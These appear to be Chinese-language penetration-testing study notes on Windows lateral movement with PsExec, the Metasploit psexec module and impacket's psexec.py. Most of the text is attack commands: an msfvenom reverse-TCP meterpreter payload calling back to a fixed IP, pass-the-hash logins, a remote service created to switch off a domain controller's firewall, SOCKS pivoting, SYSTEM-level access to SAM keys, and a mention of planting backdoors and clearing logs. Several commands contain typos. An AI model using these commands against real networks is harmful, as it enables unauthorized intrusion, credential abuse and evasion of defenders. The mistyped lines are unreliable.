PsExec
特点(缺点)
- 需要对方开启ADMIN$共享
- 需要安装服务,会留下日志被发现
- 有可能退出时服务删除失败
- 半交互shell,不能执行实时交互的命令
一、psexec.exe
PsExec - Windows Sysinternals | Microsoft DocsPsExec | ITPro Today: IT News, How-Tos, Trends, Case Studies, Career Tips, More
简介
PsExec 是一个命令行工具,可让用户在远程系统上执行进程,并将输出重定向到本地,以便这些应用程序看起来在本地运行
psexec无需在远程系统上手动安装软件,执行命令默认查找远程系统的\windows\system32目录,-c可将本地程序复制到目标系统
原理
PsExec 通过从其可执行映像中提取名为 Psexesvc 的嵌入式 Windows 服务,并将其复制到远程系统的 Admin$ 共享
然后 PsExec 使用具有远程接口的 Windows 服务控制管理器 API 来启动远程系统上的 Psexesvc 服务(运行结束后删除)
Psexesvc 服务创建一个名为psexecsvc的管道,PsExec 连接到该管道并发送命令,告诉远程系统上的服务目标程序和提供的选项
使用前提
- 对⽅主机开启了 admin$ 共享(默认开启),如果关闭则会提示:找不到⽹络名
- 对⽅未开启防⽕墙
- 如果是⼯作组环境,则必须使⽤administrator⽤户连接(因为要在⽬标主机上⾯创建并启动服务)
- 如果是域环境,连接普通域主机可以⽤普通域⽤户,连接域控只能⽤域管理员账户。
基本用法
PsExec.exe \\\\ip -u username -p password -i cmd \\c command PTH运行cmd(必须加-i否则报错无权限)
chcp 65001 解决乱码 936简体中文
psexec \\\\ip -c test.exe 将程序test.exe复制到远程系统并以交互方式执行
psexec \\\\ip c:\\bin\\test.exe 不复制,指定运行远程系统目标路径程序
psexec -i -d -s c:\\windows\\regedit.exe 在系统帐户中以交互方式运行Regedit以查看SAM和SECURITY密钥的内容
psexec -l -d“c:\\program files\\internet explorer\\iexplore.exe”使用受限用户权限运行目标程序
常用选项
-c 将本地文件复制到远程系统执行,执行后删除
-f 复制指定的程序,即使远程系统上已存在该文件
-d 不等待进程终止 ,启动文件后直接退出(非交互式)
-i 以交互方式运行控制台应用程序
-l 以受限用户运行(低权限)
-s 在系统帐户中运行远程进程(高权限)
-u 指定用户名
-p 指定密码(若省略,系统会进行提示)
-h 以管理员权限运行
//其他详见官方文档
二、msf中的psexec利用
弹shell
木马生成: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.11 LPORT=4444 -f exe > abc.exe
设置监听: use expolit/multi/handler ,set payload windows/meterpreter/reverse_tcp
内网信息搜集
shell ,chcp 65001 ,net user /domain
添加内网路由
msf: route add <内网段> <netmask> <session id> , route printe
session:run autoroute -s <内网段>/<掩码位> , run autoroute -p
两个跑一个就行
抓取密码,psexec模块pth:
use exploit/windows/smb/psexec (psexec_psh :由powershell实现,免杀较好)
set payload windows/meterpreter/bind_tcp
配置参数,运行弹shell
pth弹shell失败,防火墙阻止了端口流量的进出:
可通过ipc连接关闭DC防火墙:
net use \\\\ip\\ipc$ password /user:administrator 建立链接
sc \\\\ip create unablefirewall binpath= "netsh advfirewall set allprofiles state off" # 创建计划任务关闭防火墙
sc \\\\ip start unablefirewall 立即启动服务
使用netsh关闭防火墙:
netsh advfirewall firewall add rule name="f.exe" dir=in program="e:\\f.exe" action=allownetsh advfirewall firewall delete rule name="f.exe"
开启远程桌面:
使用socks代理
use auxiliary/server/socks_4a
use auxiliary/server/socks_proxt
set viersion 4a
配置proxychain文件
末尾添加:socks4 <本地ip> 1080
kali路径:/etc/proxychains.conf
添加内网段路由
run autoroute -s 192.168.138.0/24 ,run autoroute -p
连接远程桌面
proxychain4 rdesktop <目的ip>
留后门,清日志
详细渗透流程:简单的内网渗透靶场实战(tp漏洞、msf、psexec横向渗透、权限维持)_web安全工具库的博客-CSDN博客_tp漏洞
三、psexec.py
基本用法
python psexec.py -hashes LM:NT <user>@<ip> //pth
基本选项:
-c 将本地文件复制到远程系统执行,执行后删除
-path 指定命令的路径
-dc-ip 设置域控ip
-target-ip 设置目标ip
-port 设置目标smb端口(默认445)